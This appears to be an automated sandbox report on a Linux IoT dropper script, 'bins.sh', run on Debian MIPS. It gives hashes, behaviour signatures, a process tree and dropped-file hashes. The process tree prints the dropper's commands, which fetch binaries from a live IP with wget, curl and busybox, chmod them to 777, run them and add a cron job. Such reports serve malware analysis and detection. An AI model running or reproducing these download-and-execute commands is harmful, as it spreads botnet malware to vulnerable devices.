Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 07:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7ee143d7340118484b8308ebe57328e

  • SHA1

    e7dd9b270c283047255e9f58f9ef0fb153f900d3

  • SHA256

    94d5ebe092c6ecaa224eab27a6bfe01afda924c0719fd09b8a9174f3e017c821

  • SHA512

    58ab0c990171675599b112b48a8daa9933ea45b7dd4eb951058cea90ceb056ba30102af40be21e560749cc7e49dd14d67f2181832517b51e56b7464900181b79

  • SSDEEP

    96:S2ld5pKiccHpWYgdj332d5pKiqOHGNmH5WYgqCHT33qmeZ:S2I8pGjWU6

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1809) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:725
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:727
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:728
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:754
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:756
        • /bin/chmod
          chmod 777 SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          ./SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Executes dropped EXE
          PID:758
        • /bin/rm
          rm SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:761
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:770
          • /bin/chmod
            chmod 777 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            ./62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Executes dropped EXE
            PID:778
          • /bin/rm
            rm 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
              PID:781
            • /usr/bin/wget
              wget http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:783
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:813
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:815
            • /bin/chmod
              chmod 777 5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • File and Directory Permissions Modification
              PID:816
            • /tmp/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              ./5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:817
            • /bin/rm
              rm 5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
              2⤵
              • System Network Configuration Discovery
              PID:819
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:820
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:821
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Writes file to tmp directory
              PID:833
            • /bin/chmod
              chmod 777 CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • File and Directory Permissions Modification
              PID:839
            • /tmp/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              ./CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
              • Executes dropped EXE
              PID:841
            • /bin/rm
              rm CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr
              2⤵
                PID:844
              • /usr/bin/wget
                wget http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:845
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:858
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Writes file to tmp directory
                PID:859
              • /bin/chmod
                chmod 777 0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • File and Directory Permissions Modification
                PID:860
              • /tmp/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                ./0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                • Executes dropped EXE
                PID:861
              • /bin/rm
                rm 0Df09iCza3KAXPu1nhirEInclv7ECXKMfY
                2⤵
                  PID:863
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Writes file to tmp directory
                  PID:864
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:865
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Writes file to tmp directory
                  PID:866
                • /bin/chmod
                  chmod 777 FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:867
                • /tmp/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  ./FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:868
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:870
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:871
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:872
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:873
                      • /bin/rm
                        rm FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN
                        2⤵
                          PID:875
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                          2⤵
                            PID:878
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                            2⤵
                              PID:879
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                              2⤵
                              • Writes file to tmp directory
                              PID:880
                            • /bin/chmod
                              chmod 777 UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                              2⤵
                              • File and Directory Permissions Modification
                              PID:961
                            • /tmp/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                              ./UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                              2⤵
                              • Executes dropped EXE
                              PID:962
                            • /bin/rm
                              rm UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy
                              2⤵
                                PID:964
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                2⤵
                                  PID:965
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                  2⤵
                                    PID:966
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:967
                                  • /bin/chmod
                                    chmod 777 6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:968
                                  • /tmp/6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                    ./6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                    2⤵
                                    • Executes dropped EXE
                                    PID:969
                                  • /bin/rm
                                    rm 6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8
                                    2⤵
                                      PID:972
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/xCnU4Ru2E5aBJYj7JeB9FUThIXx6ktcLc9
                                      2⤵
                                        PID:974

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/0Df09iCza3KAXPu1nhirEInclv7ECXKMfY

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP

                                      Filesize

                                      122KB

                                      MD5

                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                      SHA1

                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                      SHA256

                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                      SHA512

                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                    • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl

                                      Filesize

                                      119KB

                                      MD5

                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                      SHA1

                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                      SHA256

                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                      SHA512

                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                    • /tmp/6TqfPbgPV145sysvmkENo0wzgpMYKEzkz8

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /tmp/CuaIHhyxF9dy35uQ6nWct2dlxfAeCbHYTr

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/FKOomnyvLTyqdDYrRcBy8xpIHkWXLxPmHN

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/UsyxoDBJUcSaVxtHSJ1HH15vsu3FWHBYEy

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /var/spool/cron/crontabs/tmp.W2AvI6

                                      Filesize

                                      210B

                                      MD5

                                      cd025f00a29682bc189591ffe571f848

                                      SHA1

                                      c6832ba0b3343d86c01dd93e9fff7b5486e71ad9

                                      SHA256

                                      fd0663f8c39482ec65c555c55b2d8cf29879b934e42181df3f7bfc52e846bc37

                                      SHA512

                                      071c02dd84360d5cc7c5ee9f91845bf55a670d0707d72b8c4898d41f9c42cfcb333d17501266be5a7353267a062cedf0ede00371c21c221175d2c63cf8c64ce3